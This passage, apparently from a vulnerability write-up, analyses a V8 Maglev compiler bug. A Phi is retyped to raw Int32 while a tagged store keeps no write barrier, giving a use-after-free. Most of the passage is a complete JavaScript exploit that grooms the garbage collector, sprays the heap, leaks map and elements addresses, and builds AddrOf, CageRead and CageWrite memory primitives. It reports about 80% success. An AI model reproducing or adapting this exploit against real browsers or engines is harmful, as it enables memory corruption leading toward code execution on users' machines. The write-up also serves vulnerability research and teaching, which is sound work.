12: RootConstant(true_value), 0 uses 🪦
28: RootConstant(false_value), 0 uses 🪦
19: RootConstant(optimized_out), 0 uses 🪦
8: SmiConstant(0), 2 uses
22: SmiConstant(1), 0 uses 🪦
37: SmiConstant(3), 1 uses
9: SmiConstant(5), 1 uses
43: SmiConstant(42), 1 uses
10: Int32Constant(0), 1 uses, cannot truncate to int32
16: Int32Constant(1), 2 uses, cannot truncate to int32
39: Int32Constant(3), 2 uses, cannot truncate to int32
11: Int32Constant(5), 2 uses, cannot truncate to int32
Block b0
0x21ff0101e451 <SharedFunctionInfo trigger> (0x21ff0104a989 <String[6]: "poc.js">:16:16)
0 : 0c LdaZero
1: InitialValue(<this>), 6 uses
2: InitialValue(a0), 8 uses
6: FunctionEntryStackCheck
↳ lazy @-1 (3 live vars)
7: Jump b1
↓
Block b1 // peeled first iteration: inner = (0 + inc) | 0
0x21ff0101e451 <SharedFunctionInfo trigger> (0x21ff0104a989 <String[6]: "poc.js">:0:0)
14 : 40 f9 01 Add r0, FBV[1]
↱ eager @14 (6 live vars)
13: CheckedSmiUntag [n2], 2 uses, cannot truncate to int32
14: Int32Add [n13, n10], 3 uses, can truncate to int32 [-2147483648, 2147483647]
26 : 95 16 00 03 JumpLoop [22], [0], FBV[3]
18: ReduceInterruptBudgetForLoop(17) [n17]
↳ lazy @26 (5 live vars)
21: Int32ToNumber[kCanonicalizeSmi] [n14], 0 uses 🪦
20: Jump b2
│ with gap moves:
│ - n14 → 23: φᴵ r0
│ - n16 → 24: φᴵ r2
▼
╭─►Block b2 peeled (effects:) // for (let i = ...; i < 5; ...)
│ 23: φᴵ r0 (n14, n30), 8 uses // inner loop Phi (NOW RAW INT32 — was φᵀ!)
│ 24: φᴵ r2 (n16, n32), 5 uses // i loop Phi (also raw Int32)
│ 6 : 77 f7 01 00 TestLessThan r2, EmbeddedFeedback[0x1]
│ 26: Int32Compare[LessThan] [n24, n11], 0 uses 🪦
│ 10 : a6 14 JumpIfFalse [20]
│╭──27: BranchIfInt32Compare(LessThan) [n24, n11] b3 b4 // i < 5 ?
││ ↓
││ Block b3 // inner = (inner + inc) | 0; i++
││ 14 : 40 f9 01 Add r0, FBV[1]
││ 30: Int32Add [n13, n23], 3 uses, can truncate to int32 [-2147483648, 2147483647]
││ 23 : 59 02 Inc FBV[2]
││ ↱ eager @6 (6 live vars)
││ 32: Int32IncrementWithOverflow [n24], 3 uses, cannot truncate to int32
││ 26 : 95 16 00 03 JumpLoop [22], [0], FBV[3]
││ 33: ReduceInterruptBudgetForLoop(17) [n17]
││ ↳ lazy @26 (5 live vars)
││ 35: Int32ToNumber[kCanonicalizeSmi] [n30], 0 uses 🪦
││ 36: Int32ToNumber[kCanonicalizeSmi] [n32], 0 uses 🪦
││ ↱ eager @6 (6 live vars)
╰─◄─34: JumpLoop b2
│ with gap moves:
│ - n30 → 23: φᴵ r0
│ - n32 → 24: φᴵ r2
│
╰►Block b4 // after loop exits
32 : 78 f9 01 00 TestGreaterThan r0, EmbeddedFeedback[0x1]
40: Int32Compare[GreaterThan] [n23, n39], 0 uses 🪦
36 : a6 06 JumpIfFalse [6]
╭───41: BranchIfInt32Compare(GreaterThan) [n23, n39] b5 b6 // inner > 3 ?
│ ↓
│ Block b5 // outer = inner (retag needed!)
│ 50: Int32ToNumber[kCanonicalizeSmi] [n23], 1 uses
│ 40 : 96 04 Jump [4]
│╭──42: Jump b7
││ with gap moves:
││ - n50 → 45: φᵀ <accumulator>
││
╰─►Block b6 // outer = 42
│ 44 : d1 Star1
│ 44: Jump b7
│ │ with gap moves:
│ │ - n43 → 45: φᵀ <accumulator>
│ ▼
╰►Block b7 // o.x = outer
45: φᵀ <accumulator> (n50, n43), 1 uses // outer Phi (still tagged)
52 : 39 f6 01 04 SetNamedProperty r3, [1:"x"], FBV[4]
47: StoreTaggedFieldNoWriteBarrier(0xc: 0x21ff00003665 <String[1]: #x>) [n46, n45]
57 : b7 Return
48: ReduceInterruptBudgetForReturn(57) [n17]
49: Return [n5]
Inner Phi changed from φᵀ (tagged) to φᴵ (raw Int32). The CheckedSmiUntag [n23] nodes in Block b3 and b4 are gone — the loop body now uses inner directly as Int32 (n30: Int32Add [n13, n23]). The Int32ToNumber retag nodes in the loop (n35, n36) are dead (0 uses 🪦) because the backedge feeds raw Int32 directly. A new retag node n50: Int32ToNumber[kCanonicalizeSmi] [n23] appeared in Block b5 to convert inner back to tagged for outer Phi. And at the bottom, n47: StoreTaggedFieldNoWriteBarrier is still there, unchanged. Nobody upgraded it.
Heap Spraying
Okay, our next step is to reclaim this o.x object. We can do this by spraying the heap. By following this issue, we can easily have full arbitrary read/write capability on V8 heap. The think we need to pay attention is that this GC is unpredictable, so it may crash sometimes!
Full Exploit
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new BigUint64Array(buf);
var u32_buf = new Uint32Array(buf);
var u8_buf = new Uint8Array(buf);
function i2f(i) {
u64_buf[0] = BigInt(i);
return f64_buf[0];
}
function f2i(f) {
f64_buf[0] = f;
return u64_buf[0];
}
function u2f(low, high) {
u32_buf[0] = low >>> 0;
u32_buf[1] = high >>> 0;
return f64_buf[0];
}
function u2i(low, high) {
u32_buf[0] = low >>> 0;
u32_buf[1] = high >>> 0;
return u64_buf[0];
}
function i2u_l(i) {
u64_buf[0] = BigInt(i);
return u32_buf[0];
}
function i2u_h(i) {
u64_buf[0] = BigInt(i);
return u32_buf[1];
}
const logInfo = m => print(`[*] ${m}`);
const logOK = m => print(`[+] ${m}`);
const logErr = m => print(`[-] ${m}`);
function minor_gc() {
for (let i = 0; i < 0x10000; i++) new ArrayBuffer(0x100);
}
function major_gc() {
let a = [];
for (let i = 0; i < 0x100; i++) a.push(new ArrayBuffer(0x100000));
a.length = 0;
}
function toHex(x, w = 16) {
return "0x" + x.toString(16);
}
let o = {};
o.x = 1;
o.x = "abc";
function trigger(inc) {
let inner = 0;
for (let i = 0; i < 5; i++) {
inner = (inner + inc) | 0;
}
let outer = inner > 3 ? inner : 42;
o.x = outer;
}
// warm up
for (let i = 0; i < 10000; i++) {
trigger(1);
}
trigger(1);
// We should pay attention here. The purpose of this is to clean up
// the young space and prepare for later fengshui
minor_gc();
major_gc();
trigger(0x10000000);
// %DebugPrint(o);
minor_gc();
major_gc();
// Padding for later heap spray
for (let i = 0; i < 53; i++) {
new ArrayBuffer();
}
/*
Heap spray to overwrite the memory region pointed by o.x
After GC, the pointer o1.uaf points to young space, so newly allocated
double array objects will be allocated here
*/
let obj = [
0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.1, 11.1, 12.2, 13.3,
14.4, 15.5, 16.6, 17.7, 18.8, 19.9, 20.0, 21.1, 22.2, 23.3, 24.4, 25.5, 26.6,
27.7, 28.8, 29.9, 30.0, 31.1, 32.2, 33.3, 34.4, 35.5, 36.6, 37.7, 38.8, 39.9,
40.0,
];
// %DebugPrint(obj);
let scan_target = [1.1];
let target_obj = {};
// %DebugPrint(scan_target);
// %DebugPrint(target_obj);
// 0x28
obj[4] = u2f(0xb5, 0);
obj[5] = u2f(0x10000, 0);
// 0x5c
obj[10] = u2f(0x0, 0xb5);
obj[11] = u2f(0x0, 0x10000);
obj[12] = u2f(0x0, 0x0);
// 0x90
obj[17] = u2f(0xb5, 0x0);
obj[18] = u2f(0x10000, 0x0);
// 0xc4
obj[23] = u2f(0x0, 0xb5);
obj[24] = u2f(0x0, 0x10000);
let doubleArrayMapAddr = 0;
let doubleArrayElementsAddr = 0;
// There will be a chance that o.x is not a string.
// So that it will cause crash when we call charCodeAt
for (let wordIndex = 0; wordIndex < 0x100; wordIndex++) {
// Read one 4-byte word from the leaked V8 heap data
for (let byteIndex = 0; byteIndex < 4; byteIndex++) {
u8_buf[byteIndex] = o.x.charCodeAt(wordIndex * 4 + byteIndex);
}
/*
Memory layout of scanTarget = [1.1]:
FixedDoubleArray:
| map | length |
| 0x9999999a | 0x3ff19999 | <= double value 1.1
JSArray:
| map | properties |
| elements | length |
When 0x3ff19999 is found, the next u32 should be the JSArray map.
*/
if (u32_buf[0] === 0x3ff19999) {
wordIndex += 1; // Move to JSArray map
for (let byteIndex = 0; byteIndex < 4; byteIndex++) {
u8_buf[byteIndex] = o.x.charCodeAt(wordIndex * 4 + byteIndex);
}
doubleArrayMapAddr = u32_buf[0];
wordIndex += 2; // Move to JSArray elements
for (let byteIndex = 0; byteIndex < 4; byteIndex++) {
u8_buf[byteIndex] = o.x.charCodeAt(wordIndex * 4 + byteIndex);
}
doubleArrayElementsAddr = u32_buf[0];
break;
}
}
logOK(`Leaked DoubleArray map address: ${toHex(doubleArrayMapAddr)}`);
logOK(`Leaked DoubleArray elements address: ${toHex(doubleArrayElementsAddr)}`);
// 0x28
obj[4] = u2f(doubleArrayMapAddr, 0x0);
obj[5] = u2f(doubleArrayElementsAddr, 0x20000);
// 0x5c
obj[10] = u2f(0x0, doubleArrayMapAddr);
obj[11] = u2f(0x0, doubleArrayElementsAddr);
obj[12] = u2f(0x20000, 0x0);
// 0x90
obj[17] = u2f(doubleArrayMapAddr, 0x0);
obj[18] = u2f(doubleArrayElementsAddr, 0x20000);
// 0xc4
obj[23] = u2f(0x0, doubleArrayMapAddr);
obj[24] = u2f(0x0, doubleArrayElementsAddr);
obj[25] = u2f(0x20000, 0x0);
logInfo("Evil double array length: " + toHex(o.x.length)); // should be 0x10000
logInfo("Crafting AddrOf, CageRead and CageWrite primitives...");
function AddrOf(target) {
target_obj[0] = target;
o.x[4] = u2f(doubleArrayMapAddr, doubleArrayElementsAddr);
return i2u_l(f2i(target_obj[0]));
}
function CageRead(addr) {
if (addr % 2 == 0) {
addr += 1;
}
o.x[4] = u2f(doubleArrayMapAddr, doubleArrayElementsAddr);
o.x[5] = u2f(addr - 0x8, 0x20000);
return f2i(target_obj[0]);
}
function CageWrite(addr, value) {
if (addr % 2 == 0) {
addr += 1;
}
o.x[4] = u2f(doubleArrayMapAddr, doubleArrayElementsAddr);
o.x[5] = u2f(addr - 0x8, 0x20000);
target_obj[0] = i2f(value);
}
logInfo("Testing primitives...");
let tmp = [1.1, 2.2, 3.3];
let tmpAddr = AddrOf(tmp);
logOK(`Address of tmp array: ${toHex(tmpAddr)}`);
let writeValue = 0x4141414141414141n;
CageWrite(tmpAddr + 0x20, writeValue);
let readValue = CageRead(tmpAddr + 0x20);
logOK(`Read back value: ${toHex(readValue)}`);
// %DebugPrint(tmp);
// %SystemBreak();
This exploit is not stable due to the unpredictable of GC. In my testing, it has around 80% success rate.
Demo CageRead/CageWrite primitives

References
- https://v8.dev/blog/pointer-compression
- https://vxrl.medium.com/javascript-debugging-with-maglev-compiler-6b2a26cb1a3a
- https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection
- https://i.blackhat.com/BH-US-23/Presentations/US-23-Wang-The-Hat-Trick-Exploit-Chrome-Twice-from-Runtime-to-JIT.pdf
- https://issues.chromium.org/issues/402032540
- https://github.com/thlorenz/v8-perf/blob/master/gc.md
- https://v8.dev/blog/trash-talk